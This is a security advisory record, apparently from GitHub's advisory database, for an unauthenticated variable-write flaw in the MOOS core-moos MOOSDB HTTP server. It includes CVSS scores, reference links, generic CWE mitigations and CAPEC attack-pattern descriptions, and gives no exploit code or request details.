Vulnerability from github – Published: 2026-09-04 00:31 – Updated: 2026-09-04 00:31MOOS core-moos through 10.4.0 contains an authentication bypass vulnerability in the optional MOOSDB HTTP server that allows unauthenticated clients to write variables. Attackers can send HTTP requests with variable names and values to the MOOSDB HTTP server port to modify MOOS variables including actuator and override commands without authentication.
{
"affected": [],
"aliases": [
"CVE-2026-85428"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-03T23:17:21Z",
"severity": "CRITICAL"
},
"details": "MOOS core-moos through 10.4.0 contains an authentication bypass vulnerability in the optional MOOSDB HTTP server that allows unauthenticated clients to write variables. Attackers can send HTTP requests with variable names and values to the MOOSDB HTTP server port to modify MOOS variables including actuator and override commands without authentication.",
"id": "GHSA-2p25-xm7m-9vh5",
"modified": "2026-09-04T00:31:07Z",
"published": "2026-09-04T00:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85428"
},
{
"type": "WEB",
"url": "https://github.com/themoos/core-moos/pull/77"
},
{
"type": "WEB",
"url": "https://github.com/themoos/core-moos/commit/7e3aecdbf5fe47980ea9399340c77940991a6fa5"
},
{
"type": "WEB",
"url": "https://github.com/themoos/core-moos"
},
{
"type": "WEB",
"url": "https://github.com/themoos/core-moos/blob/ec9c77c68fcbdef8f5e4c60fe243acd223433f0c/Core/libMOOS/DB/HTTPConnection.cpp#L196"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/moos-core-moos-through-10.4.0-moosdb-http-server-unauthenticated-variable-write"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
- Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
- Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
- In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
- In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-166: Force the System to Reset Values
An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.
CAPEC-216: Communication Channel Manipulation
An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.
CAPEC-36: Using Unpublished Interfaces or Functionality
An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.